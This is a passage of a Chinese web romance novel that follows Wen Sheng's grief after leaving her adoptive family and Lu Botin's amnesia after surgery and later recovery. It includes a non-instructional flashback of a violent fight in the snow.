姚书文静静看着她,从她的额发,一路向下,看向她骨瘦的手背,恍神中,她才注意到自己已经很久没有注意过孩子们的变化。
温声好像终于想清楚,又像不知道该怎么开口,只能习惯性绞紧手指,“我……我……”
姚书文上手拍开她紧握的手,唇角淡淡地笑了笑,“无论是哪种结果,你跟我都可以接受,不是吗?”
“我选他。”
温声倏尔上手抱住她,抱得很紧很用力,将脸埋进她肩侧,哭得又很厉害了,“对不起妈妈,我爱你,我也爱爸……但是你有亲生的女儿,我已经霸占她的身份这么多年,她现在好不容易回来了,我还有什么理由留下……你和爸对我这么好,这已经是我这辈子能收到的最大的幸运了……”
她哭得上气不接下气,哭得满脸通红,鼻涕泡和眼泪全都落到姚书文的衣服里,妈妈的身上有阳光的味道,发丝是春风,害怕以后再也碰触不到,她跪在板凳上,用自己的全部身体去抱她,“可是路泊汀……路泊汀……”
只有他在,她才是温声。
她才是她自己。
姚书文抚着她的发梢,呼吸分在压抑,眼底情绪浓烈,有晶莹的水光溢出,但没落下,“你可以一直喊我们爸妈,等你满十八岁后再解除法律关系吧,但我们对你的抚养义务不会因为任何关系受限,直至你未来真的不再需要我们。公司里你个人名义的股权还有其他资产,包括泗岛湖那套房子,是你的,依然还是你的,不会有任何变动。”
温声没忍住,还是问出口:“路泊汀……他到底怎么了?”
“我是你们的母亲,我要为你们的未来负责,等哪一天你真的想明白你们的关系了,你可以再来找我。”她顺走桌上的墨镜戴上,起身,神情低敛,脸庞再次看不透,指着她干瘦的模样,“如果在你人生最重要的这几年,你还是没有好好爱自己,那么他的情况我不会再告诉你。”
81. 我一定娶你
两人挑完食材后,人手提着两大包购物袋从超市走出来,沈百合站在路边打算叫车,抬腕看时间,提醒了一句:“你头发还没剪呢,不过现在有点晚了,不知道附近的店还开门没。”
她是短发,经常去的那家店周五晚上七点就关店了,而且还需要提前预约。
温声打开地图看学校周边还营业的店,“随便去一家吧,我没什么要求。”
“那不行,我院之花,如果给你剪坏剪毁了,我得和那人打起来!”
沈百合斜眼不满地瞪她,翻手机找自己收藏的几款短发发型,一张张给她看,又捻起她的一撮儿头发,说:“别搞那种半长不短的,很土,你是尖脸皮肤又白,头发还有点蓬卷,那发尾就要和唇角齐平,但不能只是齐耳那种呆板的,最好剪成短层次带点梨花碎的那样,听我的绝对好看!”
“我为什么要把自己搞得这么精致……”温声突然脱口问,“有什么用?”
啊……
这是什么话?
“我们还很年轻正值青春,不就是对自己好的年龄吗?”沈百合一愣,两眼定定注着她,“其实我一直不懂你……按理说像你这样各方面没得挑的女生应该走哪儿都会被大家注意到,我第一次看见你脑子里只闪过光芒万丈几个大字,但这几年,你就像被蒙上一层灰……”
说到这儿,沈百合就顺手指向她身上那件灰色卫衣,“你看你总穿灰不溜秋的衣服,衣柜里也没一件亮眼的,别人出门聚会,你就总窝在你那个不见光的小房间,唯一的社交还是每个月带你家小八仙去洗澡,我都无语了,不知道的人还以为你有自闭症,你现在的状态让我只想到一个词……”
……七老八十。
话音忽然收住。
空气微微静滞。
温声忽然抬头看过去,让她接着说下去,眼里一时漾着很淡很淡的笑意,整个人少见的松弛下来。
好久好久,没听过身边人怼她了。
很怀念。
但有些话就该点到为止,说太明白反而会隔开两人的距离,哪怕是好朋友之间。
沈百合专心挑起照片来,快刀斩乱麻,找出一款非常喜欢的发型,“就这种类型吧,先去看看之前我去过的一家品味还不错的店,走两条街就到了。”
温声被她连拉带拽走了二十分钟,万幸,那家店营业的门牌还亮着霓虹灯,沈百合立马蹬蹬蹬拉着她跑过去,将那几包购物袋扔到店门口,又推着她挤进门,朝那个头发略长穿着亚麻牛仔的墨镜男熟练地招呼道:“卢卡卢卡,替我朋友剪个头发,找你们店技术最好的人来……”
温声在店里转了一圈,记忆里,留短发还是在福利院的事了,因为洗澡环境有限,福利院的小孩又多,小时候大家最多都是一周洗一次热水澡,久而久之,她就不愿留头发,只要长长一点,自己就去找剪刀往最短剪。
后来回到路家,干枯带黄的头发被刘嫂一点一点养了回来,也慢慢留到齐背的长度。小学时,江乐橙还两眼冒着星光,特意说她的头发竟然能在教室里那片阳光下被照出和海滩砂砾一样的湿润光泽,还问她是不是戴了洋娃娃的假发。
最开始,是刘嫂总在她面前细声吩咐,说我们阿声要每天都记得自己梳头发,梳一百下,头发就会变得越来越顺。
也不知道随口一说的话,怎么就被那个人听到了。
……
那个人。
温声努力睁开发沉的眼皮,不知不觉吸了吸鼻子。
刚上一二年级时,如果她中午回家睡午觉,那他也会在中午溜回家,然后趁她睡着后偷偷溜到她房间,手里握着一把手工打磨的牛角梳,还是之前一起去法国看望路康时他自己跑去百货店买的。
那是一把宽齿长柄的梳子,从她散在床上的发尾开始梳,轻轻捋压,再往发迹边缘梳,来来回回,那一个小时午休他能一直这么梳下去。
其实她没睡着,可能是中午那个时间点太阳正好能照进她的卧室,可能是春夏,也可能是秋冬,总之周围一切都显得格外安静,静到让头脑昏沉的她有种身陷童话故事的错觉。
他梳的每一下,她都知道。
她没睡实,他应该也都清楚。
长大后听姚女士随后说过,他第一次找路康借钱就是九岁那年,用三千的现金买的那把梳子,后来她中午很少回家了,那把梳子就被他又轻描淡写地塞到她不怎么打开的抽屉里,隔了一两年后才被她发现。
因为他,她对长发是有感情的,可是他不在了……
她确定他不在了。
这三年,她没有间断地追问过无数遍姚书文和那些朋友们,甚至后来她自己还跑回国两次去找他,却都没有他的任何信息,一条都没有,这个人就像一面虚影从她身边消失了,消失的彻底,没有给她任何缓冲的时间。
如果他还活着,是不会放任她不管的。
“照顾你保护你爱你,是我这辈子都要做好的事。”
他明明答应过她的。
沈百合还在和理发师交代有关设计发型的事,温声揉开两只发疼的眼圈,找到一处靠近角落的空椅子坐下,出声打断:“我没什么要求,不用那么复杂,越简单越好,按照你们的习惯来剪就可以。”
沈百合再次恨铁不成钢地瞪她,然后抽着嘴角让她闭嘴,朝那位金牌店员最后吩咐:“别管她,就按照我刚才说的来,一定一定一定要有漫画层次感,最好再剪个短刘海,千万千万不要太死板!plzzzz!”
温声无奈地摇摇头,给她递口型:干脆你来给我剪好了。
沈百合叉起手驳回:姐姐我这是为你好,你懂什么你!
那理发师本来就是常年混迹在秀场的红人造型师,对审美的敏感度很高,差不多听懂要求后就给了她一个明白的手势,然后朝温声走去,笑吟吟地引导:“接下来我们需要带您去二楼的洗护区做一次深层清洁和头皮舒缓,您可以将随身物品放在我们准备的托盘里,或者让朋友替您保管。”
随身就一个手机,温声顺手交给沈百合,然后跟着他往楼上走。
沈百合倚着沙发,抬着一腿架另一腿上,用中文还在碎碎道:“温妹儿!亮起来!让自己亮堂起来,你的好运才会到来!”
楼梯间传来无奈的轻笑声。
沈百合收回目光,闲得无聊,只好去看手里那只黑色手机,很小巧也算很旧的款式,但外壳没有磕碰也没有划痕,一看就被主人保护的很好,依稀记得高二时她还求着她妈给她买,没想到一眨眼都过去四五年了。
沈百合觉得稀奇,想要仔细看看时,手指忽然不小心就触到了home键,屏幕接着一亮,随即跳出一条消息。
是一条很寻常的相册通知。
但她还是被吓了一跳。
在屏幕即将暗下去的一刹那,她手速极快地再次敲亮那个手机屏。
然后视线硬生生被定住,脑袋也啪的一下,她的心像被人飞快抖了抖,很飘,还是那种倒抽一口凉气的飘。
锁屏是一张非常贴合屏幕大小的合照,背景一看就在热闹的球场,后面有一片巨大的天然绿坪,远处冒头的建筑结合了中西风格,可能是体育馆,也可能是教学楼,反正红砖白墙,那种充满文化底蕴的高中校园气息一目了然。
但这不是重点,重点是……
!!!
她当场就被那张合照迅速抓住了所有眼球。
一身松垮球衣的男生,抬着胳膊故意往她漂亮清纯的温妹儿肩头压,仗着身高优势可着劲儿地欺负,还不够,还要趁小姑娘皱起眉想要反抗时,再故意歪倒半边身子彻底罩向她,神情戏谑满满,没半点老实样,那张脸凑近再凑近,直至贴到她耳根和下颌处,似亲非亲,又要偏过头直勾勾对向摄像头,目光似挑衅,似调情,反正吹嘘似得眯眼一笑,笑的很玩味很刺儿头,虚虚实实,看不太透的纨绔样。
眼底却难掩对身旁小姑娘的宠溺温柔。
在盛夏傍晚的橘光下,在人潮涌动的操场前,在拔地参天的香樟树旁,沈百合凑近照片,仔仔细细看啊看——
高中时期的温声扎着高高蓬松的长马尾,穿着校服,细肩直背,气质透出干净和轻盈,昂起的小脸素净不失灵动,两手抱在胸前,对镜头露齿笑时,神情是她从未见过的淘气和俏皮,又带着微微倔强,像从天降临的一束明光,更像一只聪颖爽利的飞鸟。
是她想象里属于这姑娘光芒万丈的模样。
沈百合的目光被粘住一样,从温声的脸上极快地瞄过,然后审视一般死死盯住那个笑意痞气的男生。
那人满身满身的汗被摄像头捕捉出非常细腻的湿光,沈百合直愣愣打量起那张过分出彩的俊脸,眼睛黑漆透亮,似笑非笑时,眸光细腻的像黑曜石熔开后流出的金光,极为好看的轮廓被夕阳的尾调一寸寸细致描染过,立体带着锋芒,又因为唇边噙着的轻笑多了一丝格外的清冷,不论五官还是气场,一眼惊艳,没有半分多余的累赘。
阅帅哥无数的沈百合挤破头脑只想出一个没什么人能担得起的词。
英气。
而且是恰到好处刚刚好的英气。
虽说两人看上去还是高中生的身份,但放学后操场的照明灯将他们照出一身极其夺目的光华,不由给青春里的少男少女添上一些这个年纪少有的大气坦然。
分外般配。
……!!
我天!!
难怪不谈恋爱,难怪不提男朋友,难怪不和校内那些小白脸搭话!
这压根就不在一个层级啊!
沈百合攒了一肚子的八卦,迫于人不在跟前,只好将手机揣进衣兜里,自己抱着靠枕一个人瞎琢磨。
照片看得出他们关系很亲密,就算谁也没看谁,但沈百合就是打包票这两人那时候绝对在谈对象,还是那种暗戳戳又明目张胆能亲嘴的程度,只是她从没听温声说过这号人,也没见过他,如果是同校的学生,长成这样她不可能没印象,所以肯定跟她们不是一个学校的。
沈百合突然眨了下眼。
难道是……已经分手了?
合照设置成锁屏,那不就是余情未了?最起码温妹儿肯定是余情未了。
多般配啊……
唉,可惜了。
本来还有很多话想问来着,想到分手这个可能性后,沈百合就歇菜了,她可不愿意再给朋友心里添堵。
虽然真的很可惜……
温声下楼时,沈百合正抖着桌上的报纸翻来看去,她径直走过去,从她兜里拿走自己的手机,“已经快十一点了,我们回吧,小八仙今晚还没吃饭。”
沈百合一个激醒,抬着脑袋去看她,然后眼睛立马瞪大,这下彻底清醒了。
太漂亮了……
那理发师是个会听人话的,完全按照她的要求剪的,而且还以温声的脸型和气质在她细细弯弯的眉毛上面剪了一弧碎碎薄薄的刘海。
非常像精灵。
还是那种游离在萤火里,瞳仁很大很亮,眉眼带着灵性的精灵。
“太好看了!我就说听我的准没错吧!”沈百朝她竖起大
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拇指,啧啧砸着嘴调侃两句,“这要是下周哪个帅哥来追你,你要记得这里有我的一份功劳,必须请我吃饭,不多不少,带我去吃顿烤鸭就好噢。”
温声已经结完账了,走到门口朝她招手,无奈地眨眼睛,催她:“快走啦,它自己在家我真的不放心。”
提起那只胖嘟嘟的白猫,沈百合就由不住翻了记白眼,“你家小八仙那体型饿一顿又没事,怕什么?”
话是这么说,她还是很快收拾好东西往门口奔去,那猫虽然和她不亲,但毕竟是温声一手养大的,换句话说,它是她姐妹在这里为数不多的牵挂。
到了公寓,两人楼上楼下,电梯门刚开,沈百合就抓住要走的人的手,在电梯内不那么敞亮的灯影下,看她发光的发顶和白生生没什么血色的脸,小声问:“还没和你说,我男朋友住院了,寒假我得回国几天,下周四跨校举办的时装展你能替我去吗?”
她负责现场走秀的摄影,已经答应了主办方,没办法在短期内推掉。
“我最近也没什么事,你明天发我流程看看。”温声轻轻巧点头,眉眼弯了弯,依旧有明艳俏皮的影子,“明早不用帮我准备早饭,我想睡个懒觉。”
“那不行,你这么瘦我都怀疑你有低血糖,赶回家前我得给你做几顿好的,明早八点准时敲你门。”
见她要走,沈百合再次拽住她硬不放,任电梯一直滴滴滴的叫,眼神点了点她的手机,若无其事地提醒道:“你刚剪发的时候,手机有一条消息提示,你要不现在看看?”
她就是想让她打开手机,才好明着问锁屏的事。
谁知温声却拒绝了,不温不热地笑了笑,抽出手扶上电梯门,好脾气的催她:“我晚点看,你快上去吧。”
算是很礼貌的拒绝了。
沈百合突然觉得无力,每次想要和她的关系更亲近一些时,她就会将手里的尖刀换个方向,用刀柄隔开她。
无论哪种方式,圆润还是尖锐,都是隔开她。
“阿声……”
沈百合低低喊她。
觉得她可怜,但又不接着说下去。
就和她像只狗求那些人时一样,他们站在高处,他们什么都明白什么都知道,却装出一副欲言又止,看她痛苦看她挣扎,看她常常掉眼泪,流的眼睛都快瞎了,又用模棱的语气宽慰她以此做到感同身受:“阿声,你别问他了……”
可是,她用不着任何人可怜啊,她只想知道一个结果。
已经走出电梯的人,回头,外面的楼道没开灯,她的脸很暗很小,秀气的五官在黑暗里放大,不笑时,浅眸就会落下一片深沉,里面有一层影绰迷茫的幽光,眉尖微抬,问她还有什么事吗?
毫不掩饰的冷漠和不耐。
满身带刺的才是她,她根本没变过。
唔……
沈百合呼吸紧促了一下,避开她的目光,咳着声摆摆手,“就是想说,明早我要做煎包,你睡起来再吃,小八仙也有份。还有那些药能少吃就少吃,睡不着就来找我……我这次回去让我妈找中医给你配点药方……”
还有,我希望你能快点恢复过来,想让你能一直精灵下去。
温声忽然跨进电梯,单手贴近她,用力抱了抱她,面前呼吸一热,沈百合发怔时,她就重新又走了出去,这次离开的很快很快。
“百合,多谢还有一个你。”
听到身后的电梯门重新慢慢合上,没有人了。
温声头抵着门,眼眶忽然很疼,心底最深处又开始发紧,她不断吸气呼气,想将眼泪逼退,手里却无意识划开手机,垂下眼,刻意避开那张壁纸,然后视线不由自主就触到了通知栏里相册弹出的那条视频上面。
拍摄时间是四年前的秋天,他们从图书馆走到夜市街,又从夜市街转到江滩。
定位地址在凌江前滩大道。
是那晚她替求婚成功的两位新人在录视频,转身时不经意间将他也录了进去的片段。
他当时举着手机对准她好像说了句什么……
说了什么呢……
自从夷农山的事发生后,温声就再也没有刻意翻过相册,一次都没有,也没有换过手机,所以注意到视频封面时,竟然有种错觉,这是她和他最近才拍的。
她将音量摁到最大,握紧又开始发抖的右手,很快打开了那段视频。
一时间,空荡黑漆的楼道内清清楚楚地出现了各种声音,烟花升空声,江水拍岸声,远处情侣模糊的交谈声,还有正在录像的她的呼吸声……
温声压抑着自己的心跳,等待着视频结尾。
32秒的视频,马上播到头,却没有想象中的声音出现。
温声心里反而放松下来,吐出一声长长的气,正要退出界面,然后,低低温柔的声音在她耳边始料未及地响起——
“宝宝,我一定娶你。”
他突然出现。
视频戛然而止。
在那样嘈杂又遍地空音的江边,用她记忆中最无法模糊和遗忘的嗓音,说着那句最简单干净的承诺。
时间静止,黑暗迎面袭来,世界仿佛停滞,又在她面前轰然坍塌。
就那一刻,那个瞬间,温声像被人一拳打到胸口,痛的她整个人快速佝下腰,然后腿一软跌到地上,两手捂紧脸失声哭了出来。
她的心也出现了一个永远的空缺,再也填不满的空缺。
隔着门,小八仙听到外面的人在呜呜咽咽的哭泣,毫无征兆,它用小爪子扒紧门蹦着跳,急急忙忙的叫唤:“喵呜喵呜!”
82. 叫什么
“泊汀醒了,晚点你两可以过来一趟。”
何让生收到他老妈消息时,正在家里弄近期要提交的作品集,东西太杂,到后来他被搞得有点恼火,加上最近很多破事,心情完全沉到顶,一脚极躁地踢开铺地上的那些纸张,然后像条死狗一样躺地毯上接地气,听到消息声,赖了两分钟才懒洋洋伸着腰从桌上捞过手机。
看太快太顺以至于一时没进脑子,他习惯性弹了记舌,扔开手机,然后嘭的一下接着摔地上。
仰头,视线冲天花板上发起呆。
1
2
3
……
眼睛慢慢睁大。
……?
“我操!”
对那几个字后知后觉的回过弯。
何让生下一瞬就直直跃起,又叫了一嗓子操,重新去翻刚才那条消息,确认没看错,转手就给庵加河发了过去,“给个位置我去接你,快!”
游英说的醒了,就是彻底脱离风险的意思。
也就是,救回来了!
牛逼啊老妈!
满打满算抢救了两天两夜,游英的协助Leo在术中还出来简单告知他们情况,这是一场风险为五级的高危修补手术,因为心脏完全破裂要做联合拆装的组合术,难度极高全是细活,所以由江游两位教授全程操刀,手术时长至少十小时起步。
“他的情况很不乐观,失血过多刚才术前就出现了三次休克反应,手术台上随时会有生命危险,你们要做好准备……”
就算他们是皇家认证的旗舰团队,面对今晚这样突发的极端情况也会有无力的时候。
Leo从面前两个乱着呼吸浑身带血的少年脸上快速扫过,隔着人群又和远处那位面色极其空洞苍白的女人对视。
医生都怕面对病人家属流泪心碎的眼神,尤其还是身边熟悉的人。
他把口罩往上一拉,朝他们微微摇头,斟酌道:“另外还有一个很严重的问题我要提醒你们,脑电监测出他的头部出现了很明显的脑损伤,这是由硬物敲击加失温缺氧造成的,具体有哪些后遗症未来会不会恢复正常,都要根据手术情况来看,所以……”
他说了很多话,但也简单摆明了,今晚这情况,能送到手术台上就算这孩子命大,如果能撑过接下来黄金十小时救治,那就是老天爷想让他活。
同江总医院
庵加河瘸着伤腿完全使不上劲儿,跟在何让生后面走得很慢,但又没办法变快,他边走边嘲自己那双破腿:“唉我真服,您能别关键时候掉链子么。”
医院人太多,大厅的几个电梯都满员,背是不可能背的,何让生压根没背过男的,没办法,只能拖着身后的废人走消防通道。
结果每走一层,每停下来等一次,每听到手机的消息提示声出现,何让生的脸就要黑一分。
他是真没耐心。
对任何人都是。
庵加河是个脸皮薄的,知道他今晚有急事,又见自个儿确实耽误不少时间,走着走着,就想朝楼上躺病床上的那位绝望地吼一嘴:既然还活着,那就自己下来接我俩得了。
气氛沉默更沉默。
8楼硬生生被他们走了一刻钟。
直到穿好防护服站在监护病房外,何让生都还在刻薄连连的阴笑:“你他妈到底知不知道老子不爱等人。”
还举起手朝他敬了个牛逼的手势。
“我没残都够意思了,你叨什么!”
腿都快疼死还被人怨,庵加河脸一冷,脾气少见的操了起来,抬着手点他,“我发现你个傻逼是真傻逼啊,哥们现在伤着不跟你计较,别搭话,转身,嘴闭起来往里走。”
他如果腿没问题,绝对能跟他打一架。
要不是一起长大的,欠起来是真没法儿玩。
哟,惹毛了,不容易啊。
身边人要是发火跳脚了,何让生极度变态的心理才会突然变好,挑起一侧眉玩味的笑了笑,刚要继续找骂,面前的门被人骤然推开,医护人员脸拉的老长,瞪向两人,“知不知道这里是病房?没看到墙上写的禁止喧嚷?病人难道不需要休息?都俩大小伙儿的人了,好意思吵?”
突突突上来就堵着他们四连问。
……
何让生和庵加河对视一眼,又望向她,两人嘴角一致勾起,也不反驳,装出一副乖巧的学生模样。
将伸手不打笑脸人的社交手段用的淋漓尽致。
护士长见他们不说话了,老实了,这回催促道:“你俩是803B病房的家属吧?病人还很虚弱,你们只有十分钟的探视时间,抓紧进来吧。”
两人一前一后跟着她挤进那间安静的特需病房。
里屋很空很大,只亮了一盏小灯,整个房间出奇的暗,像有一层迷雾从床头那点黯光飘出,一点一点占据了整个灰白色的病房。
消毒水的气味冷冽刺鼻,气氛莫名压抑。
护士长轻步走过去,核实好各仪器的数据都正常,才低身去拍他的床沿,“孩子,你的朋友来了,你现在心律还不稳,如果一会不舒服或者伤口疼,就让他们按铃,我在隔壁查房会立马过来。注意不要翻身不要乱动,头上的纱布和身上这些管子不能蹭掉,记住了吗?”
“滴——滴——滴”
监护仪的心电图波发出长长的空响。
叮嘱了一堆,没人回应。
床上的少年像是没听到,依旧我行我素地偏过头置身在自己的世界里,一动不动望着窗外,目光抽离,沉默,薄唇毫无血色,微微抿起,不理不睬,一副拒绝开口的寡淡模样。
江城连续下了一周的大雪终于降停,天际放开一片灰粉,浅色窗槛不断有泥灰色的水汽沟沟壑壑地流下,一条接一条,在他黑漆细腻的眼睛里落下无数道清晰又湿黏的滑痕。
从下午醒来后就没有说过一句话,起初问他话时,他还会偶尔眨个眼或轻轻点头,两小时过去,现在是彻底回避了。
不过护士长已经习惯了,病人对医院和医护有回避反应很正常,而且绝大多数人刚经历一场可以用起死回生来形容的大手术都可能会性情大变,何况还是这么年轻盛气的少年。
他也没管胸口的缝线,自顾转了半边身,然后脸颊压向枕头,没有眨眼没有闭眼,一瞬不瞬地盯着窗面上那些划痕。
护士看他插满全身的管线,就连颈部和锁骨也贴满了冰冷的贴片,头上还包着厚厚的纱布,从她的视野看,他的半张脸和半边身一同被挡住,整个人长长钉在床上,像一艘沉底又铁锈斑斑的轮船。
朝气年华的大男孩就应该在校园在球场在任何人群热闹中肆意前行,而不是恹恹地躺在病床上变得毫无生气……
唉。
忽然觉得惋惜,护士长在他耳边没忍住叹了声气,低头又去给他盖被子,却没看到他眼里有抹厌恶快速划过。
“他术前有过很强烈的惊恐,你们送他来的医院,应该都知道在短时间内他出现过极度应激反应,加上手术创伤,之后一段时间内会出现麻木惊醒沉默等心理流程。但别担心,这是正常情况,只是能不能完全恢复,需要等一个漫长的治疗周期。”
护士长将用过的工具放进托盘,说完后就出去了。
庵加河没敢看床上的人,他对路泊汀是有愧疚的。
那晚在夷弄山那两个男人一死一残,温声睁着空洞赤红的眼,死死抓住路泊汀的胳膊不放,脱下身上那件薄衣服包住他胸口,在看到他们后,她身子一下散到地上,摇头哭喊,哭声哀叫凄厉,说不出一句完整的话:“救他……你们救他……救救他!他不能死不能死!!!我不让他死……求你们救救他!!”
地上一片狼藉,血泊触目惊心。
铺天盖地的铁锈味堵住所有人的呼吸,胃里翻江倒海,从没闻过这么骇人的气味,从没见过这
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么黏腻浓稠的血,喷涌时还能听见血窟窿在噗噗响,沾着血红的木棍、尖刀、粗绳全都掉进冷白的雪里,大量的红与白交织变为一股透骨的寒意,瞬息之间撕开了其余三人的震惊。
恐惧一触即发。
还是何让生先反应过来,寒着脸一个不落地全处理完那些工具,接着销毁那部录像的手机,又从地上拾起无人机往那个半死不活的男人头上砸去,每一次下手满满的凶残和戾气,直到那人的头骨撞地发出粉碎的磨响。
现场要有人留下善后,庵加河最近和家里闹翻了,那得他来顶事,他一边联系他爸,猛然回头,目光震慑,朝身后那两人吼:“你们他妈的光愣着!带人走啊!”
没时间了,边苳立马回神,先大步跑过去,一把拽起瘫软在地的温声,将自己的外套包住她只剩一件胸衣的身上,然后强悍地背起她就往山下跑,回头看还僵在原地的庵加河,他像遭遇了极度的冲击,看着满地血,脸唰一下变得惨白。
边苳大声叫他:“你振作起来!我们要尽快带他先去山下那家诊所!!有一条近道,你跟着我走!!”
脑袋一嗡,庵加河的神经骤然被拽回,那晚他是抱着就算这辈子这双腿废了的念头,也要把他兄弟按时按点地送上手术台。
路泊汀失血过多,整个人像一下被抽空,坠着往下掉,庵加河根本不敢动他,只能避开那半根入体的棍子,双手紧紧托住他,跟在边苳后面一路往坡下狂奔,边跑边低头飞快注意他的变化,见他瞳孔开始涣散,喘着粗气喊了一嗓子,声音都抖了:“我操!!操!!路子你别睡过去!眼睁开!!喂!!你他妈给我醒来!!!”
路泊汀开始剧烈咳血,他已经试不到疼了,忽然伸手用力抓住他的手,每说一个字,那些血就揪心撕裂的涌出来,“她……”
手里全是黏热的血,庵加河头皮炸开,两条腿像行尸走肉一样只剩麻木,一路机械地往下狂跑,颤着声让他留住力气让他别说话什么都别说,“我知道我知道!我都知道!!”
“她不能出去…不能……”
第一次,他听到怀里的人用求的字眼对他说,“求你和我妈……别让她……”
“我答应你我会看着她……!!我操他妈!!!你给我别闭眼!!!”
他嘴上答应的好好的。
……
……
结果几天过去。
人没能力留住。
他甚至都不知道那晚阿声是怎么被送走的,何让生他爸派过来两架直升机停在山底来接他们,到医院时,她和姚姨就已经不在了。
半天了没人说话,实在静得慌,何让生拖过板凳放在当中,一屁股坐下,鞋尖一点一点的,顺着床上人的视线看那扇窗户,湿湿嗒嗒,以为是想阿声了,瞥着庵加河,然后试探着问:“感觉怎么样,有没有哪里不舒服?”
还是没人应。
被子连动也没动一下。
庵加河磨着步子走过来,站在床尾,两手握到一起,低头就要道歉:“对不起,阿……”
“你们谁?”
?
庵加河一口气吊着,出神看着他,喉咙一滚,头皮又开始泛麻,
“我朋友?”
路泊汀终于将目光漫不经心地调转过来,枕着枕头,面朝上,眼低阖,视线放平,轻飘飘地环视了一圈周围,又睨向他们。碎发落到干净的眉眼,眼神很陌生很冷淡,又有种从未见过的疏离和嘲弄。
然后他们就看到他唇角扯了扯,苍白的脸上挑起抹轻佻淡漠的笑,“叫什么?”
……??
想到Leo说的话,何让生低声操了一句:“搞什么……”
两人同时一怔,周围静的甚至能听到窗户上的水滴滑下的动静,全直直盯着他,一时都没反应过来。
路泊汀指了指胸前的管子,又心不在焉地笑了笑:“我意思是,我叫什么?”
83. 想起
“汪!”
落地窗半推开,书房有凉风吹进,一串细碎泛着银光的风铃在夜里轻快响起,夜幕悄无声息,周围却在慢慢变沉。
耳朵乖乖趴在沙发边,小湿鼻子嗅啊嗅的,注意着窗边摆动的风铃,撑起身去看一旁的主人,风铃响了好一阵,往常这个时候他都会醒,但此刻沙发上的人却像陷入梦魇一样一直没动静。
它着急了,刚要拱着鼻子叫他,就见他的呼吸一下急促起来,身上也跟着一抖,趴睡的姿势,脸深深埋进枕头,整个人大喘着气,夜色灰朦,他侧出的半边脸慢慢发白,嘴唇绷成一条线,汗意潮湿,碎发落到微蹙的眉宇间。
耳朵立马分辨出他又不舒服了。
它很急的样子,两只小腿直立立站起,用爪子去刨面前的人,低低呜呜的一直唤他:“汪!”
只要风铃响起,只要沙发上的人一直没醒来。
那它就会一直叫他。
路泊汀垂到沙发外的手生硬地动了动,好半天才疲倦地抬起,在它的脑袋上揉了揉,眼睛还是闭着,声音格外哑:“醒了,对不住吓到你了。”
耳朵立马摇起尾巴,知道夜深了不该乱叫,只是用舌头去舔他的手背,又嗷着声轻轻叫他:“呜嗷……”
路泊汀翻过身,缓缓睁开眼,失焦一样,眼里短暂陷入一片深色旋涡,定定无神地望着花板上的吊灯,没亮,但是被吹风余影照出残留的亮光,莫名的,脑子里又搭接了刚才的梦,几年前她受伤他放学后去医院看她,也是这样黑的夜,灯泡断丝,但依然能看出一点亮光。
自从恢复记忆,这段时间每晚都能记起以前的很多事,大大小小,只要是关于她,就全被强行硬记了一遍。
路泊汀也不知道是不是痛惯了,只觉得浑身麻木,任胸口重起钝痛,捡起掉地毯上的手机,半夜不到三点,两个小时前黎雨发来一条消息:哥,下午我有事要来一趟波士顿,顺便来你学校看看你,这次一定要留出时间跟我吃顿饭啊!已经定了餐厅不要迟到!
后面还加了一句:请带上你的耳朵小天使!
耳朵看着他掀开绒毯,没什么力气地坐起来,光脚踩地,低下背,两手压着发酸的眼眶,一时间,整个上半身往膝上慢慢地压,身影瘦削,看得它顿时不安起来。
踩着小脚步挪到他腿边,耳朵的两只爪子也往前一扑。
一人一狗,一坐一趴,沉默的姿势不知道维持了多久。
直到路泊汀缓的差不多了,大手又揉了揉耳朵毛茸茸的大脑袋,它打起哈气,他去开灯,然后扶着颈进了浴室。
水流哗啦哗啦,隔着那个厚厚的玻璃门很快响起,耳朵跳到沙发旁属于它的竹编椅上,又将爪子向前用力伸,往那个灰色枕头上湿乎乎的地方扒拉,很湿,大片的湿,它的眼睛很亮,注意到上面有一圈深色斑斑的水迹。
许是感知到主人的情绪,耳朵的鼻子在上面难受的拱了拱,用尖尖的牙去咬被角,嘴里接连发出可怜的嘤咛声。
“汪嗷……”
路泊汀洗得很快,水声一消,随便套了件浴袍走出来,湿发还滴着水,黑眸恢复清冷漆亮,给耳朵喂了阵儿小零食,又从酒柜拿出瓶酒,然后坐回书桌前开始忙起来。
项目群里十分钟前还在滚着消息。
Ryoji:FUCK!!!!!!我节点又崩了,这会儿跑不起来了,谁来给我八点前撸个仿真代码出来?我真不想用那帮老古董用过的算法,慢的不止一点!!兄弟们!我急用!都看看我啊!!
随后甩出一张张求求了的中文表情包,求跪的很彻底很可怜。
谢北恺:八点前有点悬,只能先出个基础系统,或者我先给你优化一下模型呗,也能用啊,行不?
Ryoji:NO!!!!!!你去调试还不如新搞一个我们自己用,老版的你试过吗,路径简直像坨狗屎一样垃圾还不稳定,花的时间多出不止一倍,我们的每一分秒都是金钱好么兄弟?别说了快帮我搞啊!!!
谢北恺:关键是人教授都没催啊,你急个什么?现在不是寒假么?
后面跟了一个单独的问号,意在半夜三四点你他妈逗谁呢?
Ryoji也学他,下一秒就甩出个大大的问号,问的绝望,问的不解——
“你们难道忘了明天我们要出发去洛杉矶参加航天展吗?难道忘了我们这次的项目是和航天能源有关?难道忘了我们此次行程任务重大,要带着实验雏形去拉融资吗?”
谢北恺:……
谢北恺:…………啥?
过了个圣诞还真忘了……
这通话在半夜四点顿时炸出其他几个夜猫子——
苏珂:你不早说?我昨天还问你最近有没有其他事,我都快回国的人,你不早说??
许小绯:那我先订票咯……想必各位还没订票吧?
在河对岸学生公寓的Paul从床上一下弹起:Wait! What happened?!
群里登时叽叽叽叽渣渣渣渣起来。
Ryoji和路泊汀是MIT同专业的日美混子,人聪明又机灵,干活还异常勤快,大学这四年熬穿无数个夜,参加了数场国际前沿的科研项目,外加爸妈是硅谷某航空企业制造商的权威人物,以至打小就长了个对商业技术很敏感的脑子。
大二开始,他嫌只做校内实验没意思还赚的少,于是就跟着同项目经验很牛逼的路泊汀去创立商业化团队,两人都是能落地又废话不多的人,期间还去拉了跨校有着不同顶尖项目背景的四个人进来,人虽不多,但大家在各自的领域都在极致发力,整个团队完美的像个闭环六边形。
那时候地下实验室就是他们的老家,大学几乎一大半的时间都泡在里面,就在大三下时,他们开发出一款航空资源开采的机器系统,内部核心技术在相关领域里相当新颖,加上学校内推,以及负责他们项目的教授当时恰好在政府研究所挂了牌,所以他们的项目推广一路走得都很顺,没多久航空局就跟他们签了长期技术授权的协议,并且那时候还一次性结清了八位数美金的授权费用,除去给学校的分成,他们六个人在大三下就赚到了人生第一笔seed money。
而且很幸运,当初售出的那部分系统已经被航空局当成了今年测试样机的一部分。
